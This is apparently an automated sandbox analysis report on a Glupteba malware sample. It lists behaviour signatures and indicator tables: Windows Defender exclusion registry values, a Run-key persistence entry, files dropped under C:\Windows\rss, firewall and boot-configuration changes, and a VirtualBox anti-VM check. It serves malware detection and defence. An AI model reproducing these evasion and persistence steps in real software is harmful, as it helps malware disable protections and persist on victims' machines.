Analysis Overview
SHA256
556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49
Threat Level: Known bad
The file 0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118 was found to be: Known bad.
Malicious Activity Summary
Glupteba
Glupteba payload
Windows security bypass
Modifies Windows Firewall
Windows security modification
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Checks installed software on the system
Modifies boot configuration data using bcdedit
Manipulates WinMonFS driver.
Checks for VirtualBox DLLs, possible anti-VM trick
Drops file in Windows directory
Program crash
Unsigned PE
Event Triggered Execution: Netsh Helper DLL
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Scheduled Task/Job: Scheduled Task
Suspicious use of AdjustPrivilegeToken
Uses Task Scheduler COM API
Modifies data under HKEY_USERS
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-28 06:10
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-28 06:10
Reported
2024-07-30 19:25
Platform
win7-20240708-en
Max time kernel
147s
Max time network
134s
Command Line
Signatures
Glupteba
Glupteba payload
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Windows security bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a7fadc2ead90\a7fadc2ead90 = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleWind = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7fadc2ead90.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\rss\csrss.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | N/A | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7fadc2ead90.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a7fadc2ead90\a7fadc2ead90 = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleWind = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\PurpleWind = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Checks installed software on the system
Manipulates WinMonFS driver.
| Description | Indicator | Process | Target |
| File opened for modification | \??\WinMonFS | C:\Windows\rss\csrss.exe | N/A |
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Checks for VirtualBox DLLs, possible anti-VM trick
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\rss | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| File created | C:\Windows\rss\csrss.exe | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| File created | C:\Windows\Logs\CBS\CbsPersist_20240730192326.cab | C:\Windows\system32\makecab.exe | N/A |
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\rss\csrss.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 | C:\Windows\rss\csrss.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
